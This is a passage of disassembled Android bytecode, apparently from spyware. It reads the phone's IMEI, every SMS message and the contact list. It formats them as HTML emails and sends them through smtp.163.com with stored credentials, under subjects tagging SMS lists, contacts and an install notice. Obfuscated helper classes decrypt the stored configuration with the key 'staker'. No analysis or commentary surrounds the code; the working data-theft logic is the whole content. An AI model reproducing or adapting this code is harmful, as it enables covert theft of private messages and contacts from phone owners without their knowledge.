00000068 invoke-interface Cursor->getString(I)String, v10, v8
0000006E move-result-object v3
00000070 invoke-interface Cursor->getString(I)String, v10, v6
00000076 move-result-object v0
00000078 iput-object v0, v11, c->b:String
0000007C invoke-virtual Context->getContentResolver()ContentResolver, p0
00000082 move-result-object v0
00000084 sget-object v1, ContactsContract$CommonDataKinds$Phone->CONTENT_URI:Uri
00000088 new-instance v4, StringBuilder
0000008C const-string v5, "contact_id="
00000090 invoke-direct StringBuilder-><init>(String)V, v4, v5
00000096 invoke-virtual StringBuilder->append(String)StringBuilder, v4, v3
0000009C move-result-object v3
0000009E invoke-virtual StringBuilder->toString()String, v3
000000A4 move-result-object v3
000000A6 move-object v4, v2
000000A8 move-object v5, v2
000000AA invoke-virtual/range ContentResolver->query(Uri, [String, String, [String, String)Cursor, v0 .. v5
000000B0 move-result-object v1
000000B2 invoke-interface Cursor->getCount()I, v1
000000B8 move-result v0
000000BA if-lez v0, :11E
:BE
000000BE const-string v0, "data1"
000000C2 invoke-interface Cursor->getColumnIndex(String)I, v1, v0
000000C8 move-result v0
:CA
000000CA invoke-interface Cursor->moveToNext()Z, v1
000000D0 move-result v3
000000D2 if-nez v3, :DE
:D6
000000D6 invoke-virtual ArrayList->add(Object)Z, v9, v11
000000DC goto :50
:DE
000000DE invoke-interface Cursor->getString(I)String, v1, v0
000000E4 move-result-object v3
000000E6 new-instance v4, StringBuilder
000000EA invoke-static String->valueOf(Object)String, v3
000000F0 move-result-object v3
000000F2 invoke-direct StringBuilder-><init>(String)V, v4, v3
000000F8 const-string v3, " "
000000FC invoke-virtual StringBuilder->append(String)StringBuilder, v4, v3
00000102 move-result-object v3
00000104 iget-object v4, v11, c->c:String
00000108 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v4
0000010E move-result-object v3
00000110 invoke-virtual StringBuilder->toString()String, v3
00000116 move-result-object v3
00000118 iput-object v3, v11, c->c:String
0000011C goto :CA
:11E
0000011E move v0, v7
00000120 goto :CA
:122
00000122 move v6, v7
00000124 move v8, v7
00000126 goto :50
.end method
#--------------------------------------------------------------------------------
.class public b
.super Object
.source ""
.field private a:Properties
.field private b:Session
.field private c:Message
.field private d:MimeMultipart
.method public constructor <init>()V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, Properties
0000000A invoke-direct Properties-><init>()V, v0
00000010 iput-object v0, p0, b->a:Properties
00000014 return-void
.end method
.method public a(String, String)V
.registers 6
00000000 iget-object v0, p0, b->a:Properties
00000004 const-string v1, "mail.smtp.host"
00000008 invoke-virtual Properties->put(Object, Object)Object, v0, v1, p1
0000000E iget-object v0, p0, b->a:Properties
00000012 const-string v1, "mail.smtp.post"
00000016 invoke-virtual Properties->put(Object, Object)Object, v0, v1, p2
0000001C iget-object v0, p0, b->a:Properties
00000020 const-string v1, "mail.smtp.auth"
00000024 const/4 v2, 0x1
00000026 invoke-static Boolean->valueOf(Z)Boolean, v2
0000002C move-result-object v2
0000002E invoke-virtual Properties->put(Object, Object)Object, v0, v1, v2
00000034 iget-object v0, p0, b->a:Properties
00000038 invoke-static Session->getInstance(Properties)Session, v0
0000003E move-result-object v0
00000040 iput-object v0, p0, b->b:Session
00000044 new-instance v0, MimeMessage
00000048 iget-object v1, p0, b->b:Session
0000004C invoke-direct MimeMessage-><init>(Session)V, v0, v1
00000052 iput-object v0, p0, b->c:Message
00000056 new-instance v0, MimeMultipart
0000005A const-string v1, "mixed"
0000005E invoke-direct MimeMultipart-><init>(String)V, v0, v1
00000064 iput-object v0, p0, b->d:MimeMultipart
00000068 return-void
.end method
.method public a(String, String, String)V
.registers 6
00000000 iget-object v0, p0, b->c:Message
00000004 new-instance v1, InternetAddress
00000008 invoke-direct InternetAddress-><init>(String)V, v1, p1
0000000E invoke-virtual Message->setFrom(Address)V, v0, v1
00000014 iget-object v0, p0, b->c:Message
00000018 invoke-virtual Message->setSubject(String)V, v0, p2
0000001E new-instance v0, MimeBodyPart
00000022 invoke-direct MimeBodyPart-><init>()V, v0
00000028 const-string v1, "text/html;charset=gbk"
0000002C invoke-virtual MimeBodyPart->setContent(Object, String)V, v0, p3, v1
00000032 iget-object v1, p0, b->d:MimeMultipart
00000036 invoke-virtual MimeMultipart->addBodyPart(BodyPart)V, v1, v0
0000003C return-void
.end method
.method public a([String)V
.registers 6
00000000 array-length v0, p1
00000002 new-array v1, v0, [InternetAddress
00000006 const/4 v0, 0x0
:8
00000008 array-length v2, p1
0000000A if-lt v0, v2, :1E
:E
0000000E iget-object v0, p0, b->c:Message
00000012 sget-object v2, Message$RecipientType->TO:Message$RecipientType
00000016 invoke-virtual Message->setRecipients(Message$RecipientType, [Address)V, v0, v2, v1
0000001C return-void
:1E
0000001E new-instance v2, InternetAddress
00000022 aget-object v3, p1, v0
00000026 invoke-direct InternetAddress-><init>(String)V, v2, v3
0000002C aput-object v2, v1, v0
00000030 add-int/lit8 v0, v0, 0x1
00000034 goto :8
.end method
.method public b(String, String, String)V
.registers 7
00000000 iget-object v0, p0, b->c:Message
00000004 new-instance v1, Date
00000008 invoke-direct Date-><init>()V, v1
0000000E invoke-virtual Message->setSentDate(Date)V, v0, v1
00000014 iget-object v0, p0, b->c:Message
00000018 iget-object v1, p0, b->d:MimeMultipart
0000001C invoke-virtual Message->setContent(Multipart)V, v0, v1
00000022 iget-object v0, p0, b->c:Message
00000026 invoke-virtual Message->saveChanges()V, v0
0000002C iget-object v0, p0, b->b:Session
00000030 const-string v1, "smtp"
00000034 invoke-virtual Session->getTransport(String)Transport, v0, v1
0000003A move-result-object v0
0000003C invoke-virtual Transport->connect(String, String, String)V, v0, p1, p2, p3
00000042 iget-object v1, p0, b->c:Message
00000046 iget-object v2, p0, b->c:Message
0000004A invoke-virtual Message->getAllRecipients()[Address, v2
00000050 move-result-object v2
00000052 invoke-virtual Transport->sendMessage(Message, [Address)V, v0, v1, v2
00000058 new-instance v1, c
0000005C invoke-direct c-><init>(b)V, v1, p0
00000062 invoke-virtual Transport->addTransportListener(TransportListener)V, v0, v1
00000068 invoke-virtual Transport->close()V, v0
0000006E return-void
.end method
#--------------------------------------------------------------------------------
.class public abstract interface TransportListener
.super Object
.source ""
.implements EventListener
.method public abstract messageDelivered(TransportEvent)V
.end method
.method public abstract messageNotDelivered(TransportEvent)V
.end method
.method public abstract messagePartiallyDelivered(TransportEvent)V
.end method
#--------------------------------------------------------------------------------
.class c
.super Object
.source ""
.implements TransportListener
.field final synthetic a:b
.method constructor <init>(b)V
.registers 2
00000000 iput-object p1, p0, c->a:b
00000004 invoke-direct Object-><init>()V, p0
0000000A return-void
.end method
.method public messageDelivered(TransportEvent)V
.registers 3
00000000 const-string v0, "messageDelivered"
00000004 invoke-static g->a(String)V, v0
0000000A return-void
.end method
.method public messageNotDelivered(TransportEvent)V
.registers 3
00000000 const-string v0, "messageNotDelivered"
00000004 invoke-static g->a(String)V, v0
0000000A return-void
.end method
.method public messagePartiallyDelivered(TransportEvent)V
.registers 3
00000000 const-string v0, "messagePartiallyDelivered"
00000004 invoke-static g->a(String)V, v0
0000000A return-void
.end method
#--------------------------------------------------------------------------------
.class public d
.super Object
.source ""
.method public static a(Context)V
.registers 2
00000000 new-instance v0, e
00000004 invoke-direct e-><init>(Context)V, v0, p0
0000000A invoke-static a->a(c)V, v0
00000010 return-void
.end method
.method public static a(Context, String)V
.registers 3
00000000 invoke-static a->a(Context)a, p0
00000006 move-result-object v0
00000008 invoke-virtual a->k()Z, v0
0000000E move-result v0
00000010 if-nez v0, :16
:14
00000014 return-void
:16
00000016 new-instance v0, f
0000001A invoke-direct f-><init>(Context, String)V, v0, p0, p1
00000020 invoke-virtual f->start()V, v0
00000026 goto :14
.end method
.method static synthetic b(Context)V
.registers 1
00000000 invoke-static d->d(Context)V, p0
00000006 return-void
.end method
.method static synthetic b(Context, String)V
.registers 2
00000000 invoke-static d->c(Context, String)V, p0, p1
00000006 return-void
.end method
.method static synthetic c(Context)V
.registers 1
00000000 invoke-static d->e(Context)V, p0
00000006 return-void
.end method
.method private static c(Context, String)V
.registers 10
00000000 invoke-static a->a(Context)a, p0
00000006 move-result-object v1
00000008 const-string v0, "phone"
0000000C invoke-virtual Context->getSystemService(String)Object, p0, v0
00000012 move-result-object v0
00000014 check-cast v0, TelephonyManager
00000018 invoke-virtual TelephonyManager->getDeviceId()String, v0
0000001E move-result-object v2
00000020 invoke-virtual a->n()String, v1
00000026 move-result-object v3
00000028 invoke-virtual a->r()String, v1
0000002E move-result-object v4
00000030 invoke-virtual a->p()String, v1
00000036 move-result-object v5
00000038 new-instance v6, b
0000003C invoke-direct b-><init>()V, v6
00000042 const-string v0, "smtp.163.com"
00000046 const-string v7, "465"
0000004A invoke-virtual b->a(String, String)V, v6, v0, v7
00000050 new-instance v0, StringBuilder
00000054 const-string v7, "XSmS("
00000058 invoke-direct StringBuilder-><init>(String)V, v0, v7
0000005E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v2
00000064 move-result-object v0
00000066 const-string v7, ")"
0000006A invoke-virtual StringBuilder->append(String)StringBuilder, v0, v7
00000070 move-result-object v0
00000072 invoke-virtual StringBuilder->toString()String, v0
00000078 move-result-object v0
0000007A const-string v7, "软件安装完毕"
0000007E invoke-virtual String->contains(CharSequence)Z, p1, v7
00000084 move-result v7
00000086 if-eqz v7, :B4
:8A
0000008A new-instance v0, StringBuilder
0000008E const-string v7, "安装MESS("
00000092 invoke-direct StringBuilder-><init>(String)V, v0, v7
00000098 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v2
0000009E move-result-object v0
000000A0 const-string v2, ")"
000000A4 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v2
000000AA move-result-object v0
000000AC invoke-virtual StringBuilder->toString()String, v0
000000B2 move-result-object v0
:B4
000000B4 invoke-virtual b->a(String, String, String)V, v6, v3, v0, p1
000000BA const/4 v0, 0x1
000000BC new-array v0, v0, [String
000000C0 const/4 v2, 0x0
000000C2 aput-object v5, v0, v2
000000C6 invoke-virtual b->a([String)V, v6, v0
000000CC const-string v0, "smtp.163.com"
000000D0 invoke-virtual b->b(String, String, String)V, v6, v0, v3, v4
000000D6 const/4 v0, 0x1
000000D8 invoke-virtual a->f(Z)V, v1, v0
:DE
000000DE return-void
:E0
000000E0 move-exception v0
000000E2 const-string v1, "aaaa"
000000E6 invoke-static g->a(String, Exception)V, v1, v0
000000EC goto :DE
.catch Exception {:0 .. :DE} :E0
.end method
.method private static d(Context)V
.registers 10
00000000 const/4 v8, 0x1
:2
00000002 invoke-static a->a(Context)a, p0
00000008 move-result-object v1
0000000A invoke-virtual a->m()Z, v1
00000010 move-result v0
00000012 if-eqz v0, :18
:16
00000016 return-void
:18
00000018 invoke-static h->a(Context)ArrayList, p0
0000001E move-result-object v2
00000020 invoke-virtual ArrayList->size()I, v2
00000026 move-result v0
00000028 if-lez v0, :16
:2C
0000002C const-string v0, "phone"
00000030 invoke-virtual Context->getSystemService(String)Object, p0, v0
00000036 move-result-object v0
00000038 check-cast v0, TelephonyManager
0000003C invoke-virtual TelephonyManager->getDeviceId()String, v0
00000042 move-result-object v3
00000044 new-instance v4, StringBuffer
00000048 const-string v0, "------------------------------<br>"
0000004C invoke-direct StringBuffer-><init>(String)V, v4, v0
00000052 invoke-virtual ArrayList->iterator()Iterator, v2
00000058 move-result-object v2
:5A
0000005A invoke-interface Iterator->hasNext()Z, v2
00000060 move-result v0
00000062 if-nez v0, :F8
:66
00000066 invoke-virtual a->n()String, v1
0000006C move-result-object v0
0000006E invoke-virtual a->r()String, v1
00000074 move-result-object v2
00000076 invoke-virtual a->p()String, v1
0000007C move-result-object v5
0000007E new-instance v6, b
00000082 invoke-direct b-><init>()V, v6
00000088 const-string v7, "smtp.163.com"
0000008C const-string v8, "465"
00000090 invoke-virtual b->a(String, String)V, v6, v7, v8
00000096 new-instance v7, StringBuilder
0000009A const-string v8, "SmS列表("
0000009E invoke-direct StringBuilder-><init>(String)V, v7, v8
000000A4 invoke-virtual StringBuilder->append(String)StringBuilder, v7, v3
000000AA move-result-object v3
000000AC const-string v7, ")"
000000B0 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v7
000000B6 move-result-object v3
000000B8 invoke-virtual StringBuilder->toString()String, v3
000000BE move-result-object v3
000000C0 invoke-virtual StringBuffer->toString()String, v4
000000C6 move-result-object v4
000000C8 invoke-virtual b->a(String, String, String)V, v6, v0, v3, v4
000000CE const/4 v3, 0x1
000000D0 new-array v3, v3, [String
000000D4 const/4 v4, 0x0
000000D6 aput-object v5, v3, v4
000000DA invoke-virtual b->a([String)V, v6, v3
000000E0 const-string v3, "smtp.163.com"
000000E4 invoke-virtual b->b(String, String, String)V, v6, v3, v0, v2
000000EA const/4 v0, 0x1
000000EC invoke-virtual a->g(Z)V, v1, v0
000000F2 goto :16
:F4
000000F4 move-exception v0
000000F6 goto :16
:F8
000000F8 invoke-interface Iterator->next()Object, v2
000000FE move-result-object v0
00000100 check-cast v0, b
00000104 new-instance v5, StringBuilder
00000108 const-string v6, "<br><br><font color=red>----------------------"
0000010C invoke-direct StringBuilder-><init>(String)V, v5, v6
00000112 iget-object v6, v0, b->b:String
00000116 invoke-virtual StringBuilder->append(String)StringBuilder, v5, v6
0000011C move-result-object v5
0000011E const-string v6, " "
00000122 invoke-virtual StringBuilder->append(String)StringBuilder, v5, v6
00000128 move-result-object v5
0000012A iget-object v6, v0, b->c:String
0000012E invoke-virtual StringBuilder->append(String)StringBuilder, v5, v6
00000134 move-result-object v5
00000136 const-string v6, "-------------</font><br>"
0000013A invoke-virtual StringBuilder->append(String)StringBuilder, v5, v6
00000140 move-result-object v5
00000142 invoke-virtual StringBuilder->toString()String, v5
00000148 move-result-object v5
0000014A invoke-virtual StringBuffer->append(String)StringBuffer, v4, v5
00000150 iget-object v0, v0, b->d:ArrayList
00000154 invoke-virtual ArrayList->iterator()Iterator, v0
0000015A move-result-object v5
:15C
0000015C invoke-interface Iterator->hasNext()Z, v5
00000162 move-result v0
00000164 if-eqz v0, :5A
:168
00000168 invoke-interface Iterator->next()Object, v5
0000016E move-result-object v0
00000170 check-cast v0, a
00000174 iget v6, v0, a->e:I
00000178 if-ne v6, v8, :1AC
:17C
0000017C iget-object v6, v0, a->d:String
00000180 invoke-virtual StringBuffer->append(String)StringBuffer, v4, v6
00000186 move-result-object v6
00000188 const-string v7, " "
0000018C invoke-virtual StringBuffer->append(String)StringBuffer, v6, v7
00000192 move-result-object v6
00000194 iget-object v0, v0, a->c:String
00000198 invoke-virtual StringBuffer->append(String)StringBuffer, v6, v0
0000019E move-result-object v0
000001A0 const-string v6, "<br>"
000001A4 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v6
000001AA goto :15C
:1AC
000001AC iget-object v6, v0, a->d:String
000001B0 invoke-virtual StringBuffer->append(String)StringBuffer, v4, v6
000001B6 move-result-object v6
000001B8 const-string v7, " "
000001BC invoke-virtual StringBuffer->append(String)StringBuffer, v6, v7
000001C2 move-result-object v6
000001C4 const-string v7, "<font color=blue>"
000001C8 invoke-virtual StringBuffer->append(String)StringBuffer, v6, v7
000001CE move-result-object v6
000001D0 iget-object v0, v0, a->c:String
000001D4 invoke-virtual StringBuffer->append(String)StringBuffer, v6, v0
000001DA move-result-object v0
000001DC const-string v6, "</font>"
000001E0 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v6
000001E6 move-result-object v0
000001E8 const-string v6, "<br>"
000001EC invoke-virtual StringBuffer->append(String)StringBuffer, v0, v6
:1F2
000001F2 goto :15C
.catch Exception {:2 .. :1F2} :F4
.end method
.method private static e(Context)V
.registers 10
00000000 invoke-static a->a(Context)a, p0
00000006 move-result-object v1
00000008 invoke-virtual a->l()Z, v1
0000000E move-result v0
00000010 if-eqz v0, :16
:14
00000014 return-void
:16
00000016 invoke-static a->a(Context)ArrayList, p0
0000001C move-result-object v2
0000001E invoke-virtual ArrayList->size()I, v2
00000024 move-result v0
00000026 if-lez v0, :14
:2A
0000002A const-string v0, "phone"
0000002E invoke-virtual Context->getSystemService(String)Object, p0, v0
00000034 move-result-object v0
00000036 check-cast v0, TelephonyManager
0000003A invoke-virtual TelephonyManager->getDeviceId()String, v0
00000040 move-result-object v3
00000042 new-instance v4, StringBuffer
00000046 invoke-direct StringBuffer-><init>()V, v4
0000004C invoke-virtual ArrayList->iterator()Iterator, v2
00000052 move-result-object v2
:54
00000054 invoke-interface Iterator->hasNext()Z, v2
0000005A move-result v0
0000005C if-nez v0, :FC
:60
00000060 invoke-virtual a->n()String, v1
00000066 move-result-object v0
00000068 invoke-virtual a->r()String, v1
0000006E move-result-object v2
00000070 invoke-virtual a->p()String, v1
00000076 move-result-object v5
00000078 new-instance v6, b
0000007C invoke-direct b-><init>()V, v6
00000082 const-string v7, "smtp.163.com"
00000086 const-string v8, "465"
0000008A invoke-virtual b->a(String, String)V, v6, v7, v8
00000090 new-instance v7, StringBuilder
00000094 const-string v8, "TxL("
00000098 invoke-direct StringBuilder-><init>(String)V, v7, v8
0000009E invoke-virtual StringBuilder->append(String)StringBuilder, v7, v3
000000A4 move-result-object v3
000000A6 const-string v7, ")"
000000AA invoke-virtual StringBuilder->append(String)StringBuilder, v3, v7
000000B0 move-result-object v3
000000B2 invoke-virtual StringBuilder->toString()String, v3
000000B8 move-result-object v3
000000BA invoke-virtual StringBuffer->toString()String, v4
000000C0 move-result-object v4
000000C2 invoke-virtual b->a(String, String, String)V, v6, v0, v3, v4
000000C8 const/4 v3, 0x1
000000CA new-array v3, v3, [String
000000CE const/4 v4, 0x0
000000D0 aput-object v5, v3, v4
000000D4 invoke-virtual b->a([String)V, v6, v3
000000DA const-string v3, "smtp.163.com"
000000DE invoke-virtual b->b(String, String, String)V, v6, v3, v0, v2
000000E4 const/4 v0, 0x1
000000E6 invoke-virtual a->f(Z)V, v1, v0
:EC
000000EC goto :14
:EE
000000EE move-exception v0
000000F0 const-string v1, "aaaa"
000000F4 invoke-static g->a(String, Exception)V, v1, v0
000000FA goto :14
:FC
000000FC invoke-interface Iterator->next()Object, v2
00000102 move-result-object v0
00000104 check-cast v0, c
00000108 const-string v5, "<font color=blue>"
0000010C invoke-virtual StringBuffer->append(String)StringBuffer, v4, v5
00000112 move-result-object v5
00000114 iget-object v6, v0, c->b:String
00000118 invoke-virtual StringBuffer->append(String)StringBuffer, v5, v6
0000011E move-result-object v5
00000120 const-string v6, "</font> "
00000124 invoke-virtual StringBuffer->append(String)StringBuffer, v5, v6
0000012A move-result-object v5
0000012C iget-object v0, v0, c->c:String
00000130 invoke-virtual StringBuffer->append(String)StringBuffer, v5, v0
00000136 move-result-object v0
00000138 const-string v5, "<br>"
0000013C invoke-virtual StringBuffer->append(String)StringBuffer, v0, v5
:142
00000142 goto :54
.catch Exception {:0 .. :EC} :EE
.catch Exception {:FC .. :142} :EE
.end method
#--------------------------------------------------------------------------------
.class public abstract interface c
.super Object
.source ""
.method public abstract a()Object
.end method
.method public abstract a(Object)V
.end method
#--------------------------------------------------------------------------------
.class e
.super Object
.source ""
.implements c
.field private final synthetic a:Context
.method constructor <init>(Context)V
.registers 2
00000000 iput-object p1, p0, e->a:Context
00000004 invoke-direct Object-><init>()V, p0
0000000A return-void
.end method
.method public a()Object
.registers 2
00000000 iget-object v0, p0, e->a:Context
00000004 invoke-static d->b(Context)V, v0
0000000A iget-object v0, p0, e->a:Context
0000000E invoke-static d->c(Context)V, v0
00000014 const/4 v0, 0x0
00000016 return-object v0
.end method
.method public a(Object)V
.registers 2
00000000 return-void
.end method
#--------------------------------------------------------------------------------
.class f
.super Thread
.source ""
.field private final synthetic a:Context
.field private final synthetic b:String
.method constructor <init>(Context, String)V
.registers 3
00000000 iput-object p1, p0, f->a:Context
00000004 iput-object p2, p0, f->b:String
00000008 invoke-direct Thread-><init>()V, p0
0000000E return-void
.end method
.method public run()V
.registers 3
00000000 iget-object v0, p0, f->a:Context
00000004 iget-object v1, p0, f->b:String
00000008 invoke-static d->b(Context, String)V, v0, v1
0000000E return-void
.end method
#--------------------------------------------------------------------------------
.class public g
.super Object
.source ""
.method public static a(String)String
.registers 3
00000000 new-instance v0, e
00000004 const-string v1, "staker"
00000008 invoke-direct e-><init>(String)V, v0, v1
0000000E invoke-virtual e->b(String)String, v0, p0
:14
00000014 move-result-object v0
:16
00000016 return-object v0
:18
00000018 move-exception v0
0000001A invoke-virtual Exception->printStackTrace()V, v0
00000020 const-string v0, ""
00000024 goto :16
.catch Exception {:0 .. :14} :18
.end method
.method public static a(Context)V
.registers 4
00000000 invoke-static i->a(Context)V, p0
00000006 invoke-static i->b(Context)V, p0
0000000C invoke-static i->c(Context)V, p0
00000012 invoke-static i->d(Context)V, p0
00000018 invoke-static i->e(Context)V, p0
0000001E invoke-static a->a(Context)a, p0
00000024 move-result-object v0
00000026 invoke-virtual a->i()Z, v0
0000002C move-result v0
0000002E if-nez v0, :9C
:32
00000032 const-string v0, "phone"
00000036 invoke-virtual Context->getSystemService(String)Object, p0, v0
0000003C move-result-object v0
0000003E check-cast v0, TelephonyManager
00000042 invoke-virtual TelephonyManager->getDeviceId()String, v0
00000048 move-result-object v0
0000004A new-instance v1, StringBuilder
0000004E const-string v2, "软件安装完毕\n识别码:"
00000052 invoke-direct StringBuilder-><init>(String)V, v1, v2
00000058 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v0
0000005E move-result-object v0
00000060 const-string v1, "\n"
00000064 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000006A move-result-object v0
0000006C invoke-static j->a()String
00000072 move-result-object v1
00000074 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000007A move-result-object v0
0000007C invoke-virtual StringBuilder->toString()String, v0
00000082 move-result-object v0
00000084 const/4 v1, 0x4
00000086 invoke-static k->a(String, I, Context)V, v0, v1, p0
0000008C invoke-static a->a(Context)a, p0
00000092 move-result-object v0
00000094 const/4 v1, 0x1
00000096 invoke-virtual a->e(Z)V, v0, v1
:9C
0000009C invoke-static k->a(Context)V, p0
000000A2 invoke-static a->a(Context)a, p0
000000A8 move-result-object v0
000000AA invoke-virtual a->j()Z, v0
000000B0 move-result v0
000000B2 if-eqz v0, :BC
:B6
000000B6 invoke-static d->a(Context)V, p0
:BC
000000BC return-void
.end method
.method public static a()Z
.registers 2
00000000 invoke-static PhoneApplication->a()PhoneApplication
00000006 move-result-object v0
00000008 invoke-static a->a(Context)a, v0
0000000E move-result-object v0
00000010 invoke-virtual a->e()String, v0
00000016 move-result-object v0
00000018 const-string v1, "-"
0000001C invoke-static f->a(String)String, v1
00000022 move-result-object v1
00000024 invoke-virtual String->compareTo(String)I, v1, v0
0000002A move-result v0
0000002C if-lez v0, :34
:30
00000030 const/4 v0, 0x1
:32
00000032 return v0
:34
00000034 const/4 v0, 0x0
00000036 goto :32
.end method
#--------------------------------------------------------------------------------
.class public h
.super Object
.source ""
.method public static a(Context)ArrayList
.registers 15
00000000 invoke-virtual Context->getContentResolver()ContentResolver, p0
00000006 move-result-object v0
00000008 const/4 v1, 0x7
0000000A new-array v2, v1, [String
0000000E const/4 v1, 0x0
00000010 const-string v3, "_id"
00000014 aput-object v3, v2, v1
00000018 const/4 v1, 0x1
0000001A const-string v3, "address"
0000001E aput-object v3, v2, v1
00000022 const/4 v1, 0x2
00000024 const-string v3, "person"
00000028 aput-object v3, v2, v1
0000002C const/4 v1, 0x3
0000002E const-string v3, "body"
00000032 aput-object v3, v2, v1
00000036 const/4 v1, 0x4
00000038 const-string v3, "date"
0000003C aput-object v3, v2, v1
00000040 const/4 v1, 0x5
00000042 const-string v3, "type"
00000046 aput-object v3, v2, v1
0000004A const/4 v1, 0x6
0000004C const-string v3, "thread_id"
00000050 aput-object v3, v2, v1
00000054 sget-object v1, a->a:Uri
00000058 const/4 v3, 0x0
0000005A const/4 v4, 0x0
0000005C const-string v5, "date"
00000060 invoke-virtual/range ContentResolver->query(Uri, [String, String, [String, String)Cursor, v0 .. v5
00000066 move-result-object v3
00000068 new-instance v1, ArrayList
0000006C invoke-direct ArrayList-><init>()V, v1
:72
00000072 invoke-interface Cursor->moveToNext()Z, v3
00000078 move-result v0
0000007A if-nez v0, :82
:7E
0000007E move-object v0, v1
:80
00000080 return-object v0
:82
00000082 const-string v0, "person"
00000086 invoke-interface Cursor->getColumnIndex(String)I, v3, v0
0000008C move-result v0
0000008E const-string v2, "address"
00000092 invoke-interface Cursor->getColumnIndex(String)I, v3, v2
00000098 move-result v2
0000009A const-string v4, "body"
0000009E invoke-interface Cursor->getColumnIndex(String)I, v3, v4
000000A4 move-result v4
000000A6 const-string v5, "date"
000000AA invoke-interface Cursor->getColumnIndex(String)I, v3, v5
000000B0 move-result v5
000000B2 const-string v6, "type"
000000B6 invoke-interface Cursor->getColumnIndex(String)I, v3, v6
000000BC move-result v6
000000BE const-string v7, "thread_id"
000000C2 invoke-interface Cursor->getColumnIndex(String)I, v3, v7
000000C8 move-result v7
000000CA invoke-interface Cursor->getString(I)String, v3, v0
000000D0 move-result-object v8
000000D2 invoke-interface Cursor->getString(I)String, v3, v2
000000D8 move-result-object v9
000000DA invoke-interface Cursor->getString(I)String, v3, v4
000000E0 move-result-object v0
000000E2 invoke-interface Cursor->getLong(I)J, v3, v5
000000E8 move-result-wide v4
000000EA invoke-interface Cursor->getInt(I)I, v3, v6
000000F0 move-result v2
000000F2 invoke-interface Cursor->getInt(I)I, v3, v7
000000F8 move-result v6
000000FA new-instance v7, a
000000FE invoke-direct a-><init>()V, v7
00000104 iput-object v0, v7, a->c:String
00000108 int-to-long v10, v6
0000010A iput-wide v10, v7, a->f:J
0000010E iput v2, v7, a->e:I
00000112 iput-object v8, v7, a->a:String
00000116 iput-object v9, v7, a->b:String
0000011A invoke-static f->a(J)String, v4, v5
00000120 move-result-object v0
00000122 iput-object v0, v7, a->d:String
00000126 const/4 v2, 0x1
00000128 invoke-virtual ArrayList->iterator()Iterator, v1
0000012E move-result-object v4
:130
00000130 invoke-interface Iterator->hasNext()Z, v4
00000136 move-result v0
00000138 if-nez v0, :172
:13C
0000013C move v0, v2
:13E
0000013E if-eqz v0, :72
:142
00000142 new-instance v0, b
00000146 invoke-direct b-><init>()V, v0
0000014C int-to-long v4, v6
0000014E iput-wide v4, v0, b->a:J
00000152 iget-object v2, v0, b->d:ArrayList
00000156 invoke-virtual ArrayList->add(Object)Z, v2, v7
0000015C iput-object v8, v0, b->b:String
00000160 iput-object v9, v0, b->c:String
00000164 invoke-virtual ArrayList->add(Object)Z, v1, v0
0000016A goto :72
:16C
0000016C move-exception v0
0000016E const/4 v0, 0x0
00000170 goto :80
:172
00000172 invoke-interface Iterator->next()Object, v4
00000178 move-result-object v0
0000017A check-cast v0, b
0000017E int-to-long v10, v6
00000180 iget-wide v12, v0, b->a:J
00000184 cmp-long v5, v10, v12
00000188 if-nez v5, :130
:18C
0000018C iget-object v2, v0, b->d:ArrayList
00000190 invoke-virtual ArrayList->add(Object)Z, v2, v7
00000196 iput-object v8, v0, b->b:String
0000019A iput-object v9, v0, b->c:String
:19E
0000019E const/4 v0, 0x0
000001A0 goto :13E
.catch Exception {:0 .. :19E} :16C
.end method
#--------------------------------------------------------------------------------
.class public i
.super Object
.source ""
.method public static a(Context)V
.registers 3
00000000 invoke-static a->a(Context)a, p0
00000006 move-result-object v0
00000008 invoke-virtual a->d()Z, v0
0000000E move-result v0
00000010 if-eqz v0, :16
:14
00000014 return-void
:16
00000016 invoke-static a->a(Context)a, p0
0000001C move-result-object v0
0000001E invoke-virtual a->c()String, v0
00000024 move-result-object v0
00000026 invoke-static g->a(String)String, v0
0000002C move-result-object v0
0000002E invoke-static a->a(Context)a, p0
00000034 move-result-object v1
00000036 invoke-virtual a->b(String)V, v1, v0
0000003C invoke-static a->a(Context)a, p0
00000042 move-result-object v0
00000044 const/4 v1, 0x1
00000046 invoke-virtual a->b(Z)V, v0, v1
0000004C goto :14
.end method
.method public static b(Context)V
.registers 3
00000000 invoke-static a->a(Context)a, p0
00000006 move-result-object v0
00000008 invoke-virtual a->o()Z, v0
0000000E move-result v0
00000010 if-eqz v0, :16
:14
00000014 return-void
:16
00000016 invoke-static a->a(Context)a, p0
0000001C move-result-object v0
0000001E invoke-virtual a->n()String, v0
00000024 move-result-object v0
00000026 invoke-static g->a(String)String, v0
0000002C move-result-object v0
0000002E invoke-static a->a(Context)a, p0
00000034 move-result-object v1
00000036 invoke-virtual a->d(String)V, v1, v0
0000003C invoke-static a->a(Context)a, p0
00000042 move-result-object v0
00000044 const/4 v1, 0x1
00000046 invoke-virtual a->h(Z)V, v0, v1
0000004C goto :14
.end method
.method public static c(Context)V
.registers 3
00000000 invoke-static a->a(Context)a, p0
00000006 move-result-object v0
00000008 invoke-virtual a->q()Z, v0
0000000E move-result v0
00000010 if-eqz v0, :16
:14
00000014 return-void
:16
00000016 invoke-static a->a(Context)a, p0
0000001C move-result-object v0
0000001E invoke-virtual a->p()String, v0
00000024 move-result-object v0
00000026 invoke-static g->a(String)String, v0
0000002C move-result-object v0
0000002E invoke-static a->a(Context)a, p0
00000034 move-result-object v1
00000036 invoke-virtual a->e(String)V, v1, v0
0000003C invoke-static a->a(Context)a, p0
00000042 move-result-object v0
00000044 const/4 v1, 0x1
00000046 invoke-virtual a->i(Z)V, v0, v1
0000004C goto :14
.end method
.method public static d(Context)V
.registers 3
00000000 invoke-static a->a(Context)a, p0
00000006 move-result-object v0
00000008 invoke-virtual a->s()Z, v0
0000000E move-result v0
00000010 if-eqz v0, :16
:14
00000014 return-void
:16
00000016 invoke-static a->a(Context)a, p0
0000001C move-result-object v0
0000001E invoke-virtual a->r()String, v0
00000024 move-result-object v0
00000026 invoke-static g->a(String)String, v0
0000002C move-result-object v0
